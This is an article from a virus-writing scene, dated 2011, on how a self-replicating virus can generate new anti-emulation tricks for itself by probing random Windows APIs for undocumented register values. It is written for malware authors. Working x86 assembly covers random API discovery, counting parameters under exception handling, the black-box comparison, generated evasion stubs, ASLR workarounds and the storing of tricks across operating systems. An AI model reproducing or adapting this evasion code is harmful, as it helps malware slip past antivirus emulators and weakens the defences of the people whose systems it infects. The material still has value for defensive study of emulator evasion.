Skip to content
Permalink
master
Switch branches/tags
Go to file
 
 
Cannot retrieve contributors at this time
****************************************************
Dynamic Anti-Emulation using Blackbox Analysis
by Second Part To Hell
****************************************************
Index:
******
1) Introduction
2) Idea
3) Implementation
3.1) Finding a random API
3.2) Getting number of API parameters
3.3) Analysing the Black-Box API
3.4) Creating Anti-Emulation Code
3.5) Examples: Autonomous generated Anti-Emulation Tricks
3.6) Working around ASLR
4) Possible extention: Remembering the tricks
5) Thought experiment: Are we learning?
6) Conclusion
1) Introduction
Viruses are threatened by Emulators. One can use Anti-Emulator tricks to
avoid emulation, until AVs implement the new trick intro their program -
so this benefit can not exceed a few hours?
It can, if the virus can find and implement new Anti-Emulation tricks by
itself. This text descibes how it can be done.
2) Idea
Standard Windows APIs use EAX, ECX, EDX as internal registers; after an
API call, EAX contains the return value, and ECX & EDX contain
undocumented leftover values. Gabor Szappanos[1] and Peter Ferrie[2]
show that these registers are used in Anti-Emulation tricks alot and AVs
need to analyse and implement each new trick manually.
Now the idea is to find automatically such leftovers in random APIs, and
implement a branch in the next generation. The viruscode will only be
executed if the register values match with the original result.
If some emulators is not aware of the random API's undocumented leftover
values, it will be fooled to exit the program. :-)
3) Implementation
The basic concept is very simple:
-> Search for a random API in a DLL (for instance KERNEL32.DLL)
-> Find out the number N of its paramaters (a.k.a PUSHes)
-> Prepare N random parameters
-> Call API with parameters
-> Save ECX & EDX
-> Randomize Registers (leftovers can depend on that)
-> Call API again with same parameters
-> Compare ECX & EDX
-> If equal, create Anti-Emulation Code + write it to next generation
This is very simple, so just short explanation of some crucial parts.
3.1) Finding a random API
First we need to find a random API. This can be very easy using
ordinal numbers of DLL functions:
- - - - - - - - - - - - - - - - - -
push kernel32 ; Get Kernel32
stdcall dword[LoadLibrary]
call GetRandomNumber
mov eax, dword[RandomNumber]
and eax, (0x400 - 1) ; 0-1023
mov dword[RandOrdinal], eax
push dword[RandOrdinal]
push dword[hKernel]
stdcall dword[GetProcAddress]
; address of random API in EAX :)
[...]
kernel32 db 'kernel32.dll', 0x0
- - - - - - - - - - - - - - - - - -
3.2) Getting number of API parameters
Simple idea: push 16 DWORDs to the stack (no API has more parameters),
save ESP, call the API, and compare ESP with old ESP:
number(parameter) = (newESP-oldESP)/4
Obviously, one can not call random APIs without exception handling.
The easiest way is Vectorized Exception Handling, which is implemented
as AddVectoredExceptionHandler and RemoveVectoredExceptionHandler:
- - - - - - - - - - - - - - - - - -
macro VEH_TRY c*
{
mov dword[sESP], esp
push VEH_Handler#c
push 0x1
stdcall dword[AddVectoredExceptionHandler]
mov dword[hVEH], eax
}
macro VEH_EXCEPTION c*
{
mov dword[bException], 0x0
jmp VEH_NoException#c
VEH_Handler#c:
mov esp, dword[sESP]
mov dword[bException], 0x1
}
macro VEH_END c*
{
VEH_NoException#c:
mov eax, dword[hVEH]
push eax
stdcall dword[RemoveVectoredExceptionHandler]
}
mov dword[s2ESP], esp ; Save original ESP
times 0x10: push 0 ; PUSH 16 parameters
VEH_TRY FirstRun
;{
stdcall dword[RndFctAddress] ; try it ;)
;}
VEH_EXCEPTION FirstRun
;{ ; no success :-/
mov esp, dword[s2ESP] ; restore ESP
;}
VEH_END FirstRun
cmp dword[bException], 0x1
je SearchRandomAPI
; Get Number of arguments used by this random API :)
mov eax, esp
sub eax, dword[sESP]
shr eax, 2 ; eax/=4 -> number of arguments
mov dword[RndFctArguments], eax
mov esp, dword[s2ESP] ; restore ESP
- - - - - - - - - - - - - - - - - -
Number of arguments are in dword[RndFctArguments] now.
3.3) Analysing the Black-Box API
What we want to do can be pictured:
_________
random | |
parameter | |
-----------> | ? ? ? | \
| | \
|_________| \
\
\
---> Same ECX & EDX ?
different registers /
_________ /
same | | /
parameter | | /
-----------> | ? ? ? | /
| |
|_________|
We perform first API call with random parameters, then change
registers and perform another API call with same parameters:
- - - - - - - - - - - - - - - - - -
call RandomizeArguments
call PushNArgumentsToStack
VEH_TRY RealRun1
;{
stdcall dword[RndFctAddress] ; Call random API
mov dword[RndFct_RV_ECX], ecx ; save ECX
mov dword[RndFct_RV_EDX], edx ; save EDX
;}
VEH_EXCEPTION RealRun1
;{
mov esp, dword[s2ESP] ; restore ESP
;}
VEH_END RealRun1
cmp dword[bException], 0x1
je ThisIsNoGoodAPI
; Run again and compare ECX and EDX (Time-APIs and stuff like that, dependence on register values)
call PushNArgumentsToStack
VEH_TRY RealRun2
;{
call RandomizeRegisters ; change EAX, ECX, EDX, EBX to random value
stdcall dword[RndFctAddress] ; call random API again
sub ecx, dword[RndFct_RV_ECX] ; ECX has to be the same, otherwise it cant be used
jz RealRun2ECX_OK
xor eax, eax ; if not the same:
mov dword[eax], 42 ; throw exception
RealRun2ECX_OK:
sub edx, dword[RndFct_RV_EDX] ; EDX has to be the same as well
jz RealRun2EDX_OK
xor eax, eax
mov dword[eax], 42
RealRun2EDX_OK:
;}
VEH_EXCEPTION RealRun2
;{
mov esp, dword[s2ESP] ; restore ESP
;}
VEH_END RealRun2
cmp dword[bException], 0x1
je ThisIsNoGoodAPI
; if we are here, we have a good API with good parameters :)
- - - - - - - - - - - - - - - - - -
3.4) Creating Anti-Emulation Code
We push the arguments, call the API and compare ECX and EDX APIs.
However, as these leftover values we found are undefined, it is very
likely that they are dependent on the OS version.
We can simply overcome the problem by calling GetVersion and comparing
with the version-number where we found the Anti-Emulation trick.
The most simple implementation:
- - - - - - - - - - - - - - - - - -
call dword[GetVersion]
cmp eax, OS_VERSION
jne StartCode ; if we are on a different OS, we should
; not perform the test, otherwise the code
; may not be executed.
push parameter1
push parameter2
[...]
push parameterN
call RandomAPI_Address
cmp ecx, ECX_VALUE_FROM_TEST
je ECX_OK
ret
ECX_OK:
cmp edx, EDX_VALUE_FROM_TEST
je EDX_OK
ret
EDX_OK:
StartCode:
; if we are here, we are most likely not emulated :)
- - - - - - - - - - - - - - - - - -
3.5) Examples: Autonomous generated Anti-Emulation Tricks
Finally - let's have a look at the results!
That one uses kernel32.Beep:
- - - - - - - - - - - - - - - - - -
00402000 > $ FF15 E0304000 CALL DWORD PTR DS:[<&KERNEL32.GetVersion>; kernel32.GetVersion
00402006 . 3D 0501280A CMP EAX,0A280105
0040200B . 75 5F JNZ SHORT ovilslmh.0040206C
0040200D . 68 63F8D01F PUSH 1FD0F863 ; /Duration = 533788771. ms
00402012 . 68 601C3A77 PUSH 773A1C60 ; |Frequency = 773A1C60 (2000297056.)
00402017 . E8 8B5A437C CALL kernel32.Beep ; \Beep
0040201C . 81F9 64FF0600 CMP ECX,6FF64
00402022 . 74 01 JE SHORT ovilslmh.00402025
00402024 . C3 RETN
00402025 > 81FA 14E5917C CMP EDX,ntdll.KiFastSystemCallRet
0040202B . 74 01 JE SHORT ovilslmh.0040202E
0040202D . C3 RETN
0040202E > 90 NOP
- - - - - - - - - - - - - - - - - -
Here we have one with kernel32.WriteTapemark:
- - - - - - - - - - - - - - - - - -
00402000 > $ FF15 E0304000 CALL DWORD PTR DS:[<&KERNEL32.GetVersion>; kernel32.GetVersion
00402006 . 3D 0501280A CMP EAX,0A280105
0040200B . 75 5F JNZ SHORT ijczijcj.0040206C
0040200D . 68 B5A01E5E PUSH 5E1EA0B5
00402012 . 68 4AC3FFA8 PUSH A8FFC34A
00402017 . 68 BBE2A2B7 PUSH B7A2E2BB
0040201C . 68 D8B311A9 PUSH A911B3D8
00402021 . E8 A2A2467C CALL kernel32.WriteTapemark
00402026 . 81F9 61F6917C CMP ECX,7C91F661
0040202C . 74 01 JE SHORT ijczijcj.0040202F
0040202E . C3 RETN
0040202F > 81FA 07000000 CMP EDX,7
00402035 . 74 01 JE SHORT ijczijcj.00402038
00402037 . C3 RETN
00402038 > 90 NOP
- - - - - - - - - - - - - - - - - -
And the third one - kernel32.SetComPlusPackageInstallStatus:
- - - - - - - - - - - - - - - - - -
00402000 > $ FF15 E0304000 CALL DWORD PTR DS:[<&KERNEL32.GetVersion>] ; kernel32.GetVersion
00402006 . 3D 0501280A CMP EAX,0A280105
0040200B . 75 5F JNZ SHORT poxwpade.0040206C
0040200D . 68 A0769B27 PUSH 279B76A0
00402012 . E8 8EAC467C CALL kernel32.SetComPlusPackageInstallStatus
00402017 . 81F9 61F6917C CMP ECX,7C91F661
0040201D . 74 01 JE SHORT poxwpade.00402020
0040201F . C3 RETN
00402020 > 81FA 00000000 CMP EDX,0
00402026 . 74 01 JE SHORT poxwpade.00402029
00402028 . C3 RETN
00402029 > 90 NOP
- - - - - - - - - - - - - - - - - -
3.6) Working around ASLR
ASLR means Address Space Layout Randomization, and has been introduced
in Windows since WinVista. ASLR is used to make exploiting of
vulnerabilities more difficult, by making addresses of libraries
(and other things) random in memory.
This concerns us for two reasons:
1) ECX or EDX can contain library addresses, which are different
after next reboot.
2) The CALLs so far use fixed pointers to kernel32.dll functions.
Both are very easy to solve:
ad 1) At creation time, we compare ECX and EDX with kernel-addresse:
- - - - - - - - - - - - - - - - - -
mov eax, dword[RndFct_RV_ECX]
and eax, 0xFF00'0000
mov ebx, dword[hKernel]
and ebx, 0xFF00'0000
cmp eax, ebx
je NoECX_Kernel
- - - - - - - - - - - - - - - - - -
ad2) We use a different Anti-Emulator header, which gets its kernel32
addresse at runtime using LoadLibrary:
- - - - - - - - - - - - - - - - - -
00402000 > $ FF15 E0304000 CALL DWORD PTR DS:[<&KERNEL32.GetVersion>; kernel32.GetVersion
00402006 . 3D 0501280A CMP EAX,0A280105
0040200B . 75 6B JNZ SHORT vencfwbe.00402078
0040200D . 68 78104000 PUSH vencfwbe.00401078 ; /FileName = "kernel32.dll"
00402012 . FF15 E4304000 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
00402018 . 05 271C0600 ADD EAX,61C27
0040201D . 68 CC8DA293 PUSH 93A28DCC
00402022 . 68 15B832DB PUSH DB32B815
00402027 . FFD0 CALL EAX
00402029 . 81FA 01000000 CMP EDX,1
0040202F . 74 01 JE SHORT vencfwbe.00402032
00402031 . C3 RETN
- - - - - - - - - - - - - - - - - -
ASLR is no way a problem for us -> Everything fine again :)
4) Possible extention: Remembering the tricks
We saw how to autonomous develope new Anti-Emulation tricks. In this
simple implementation, in every generation we overwrite the old code,
thus "forget" about the old trick.
We can save the old trick, and merge it with new tricks. This has some
nice advantages: When the virus runs at OS1,it creates and saves Trick1.
Now it arrives at another computer with OS2, and creates Trick2. When
it "remembers" the old trick, it can create a new Anti-Emulation code
like this:
- - - - - - - - - - - - - - - - - -
call dword[GetVersion]
cmp eax, OS_VERSION1
jne NotOS1
push OS1_Parameters
call OS1_RandomAPI
cmp ecx|edx, ECX1_VALUE|EDX1_VALUE
je StartCode
ret
NotOS1:
cmp eax, OS_VERSION2
jne NotOS2
push OS2_Parameters
call OS2_RandomAPI
cmp ecx|edx, ECX2_VALUE|EDX2_VALUE
je StartCode
ret
[...]
StartCode:
- - - - - - - - - - - - - - - - - -
We can also save more than one Trick per OS. Then we can eigher use
all of them directly in the code, or use a low number of them and save
the other Tricks in .data section.
Advantage: When we travel from OS1 to OS2, and we have N Tricks saved,
we can vary them even we dont have access to OS1 anymore.
Varying is an advantage when we found broken tricks, and
when AVs adapt.
Even it sounds fancy, it is pretty simple to code. :-)
5) Thought experiment: Are we learning?
Let's have a look at Tom Mitchell's widely quoted definition
of "learning":
A computer program is said to learn from experience E with
respect to some class of tasks T and performance measure P,
if its performance at tasks in T, as measured by P, improves
with experience E.
What are E, T and P in our case?
experience E ... Blackbox analysis of a random API
task T ... avoid being emulated
measure P ... binary measure: being emulated or not
It seems very reasonable that the new developed Anti-Emulation tricks
improve its ability of not being emulated.
So we have some autonomous learning computer virus. Wow - thats cool :-)
6) Conclusion
We know now how a computer virus can analyse its environment and create
new Anti-Emulation tricks - everything autonomous and very simple.
I've used the key technique - Blackbox Analysis - already in one other
project (that time for finding new mutations)[3]; it seems like nobody
else has ever thought about using this concept in viruses. Therefore I
suspect that there are several other surprising possibilities that
should be uncovered one day. :-)
Second Part To Hell
October 2011
[1] Gabor Szappanos, "Okay, so you are a Win32 emulator...", VirusBulletin October 2011.
[2] Peter Ferrie, "Anti-Unpacker Tricks (1)", CARO Workshop, May 2008.
Peter Ferrie, "Anti-Unpacker Tricks (2)", Virus Bulletin December 2008 - June 2009.
Peter Ferrie, "Anti-Unpacker Tricks (3)", Virus Bulletin May 2010 - November 2010.
[3] SPTH, "Code Mutations via Behaviour Analysis", Virus Writing Bulletin, December 2010,
http://vxheavens.com/lib/vsp27.html.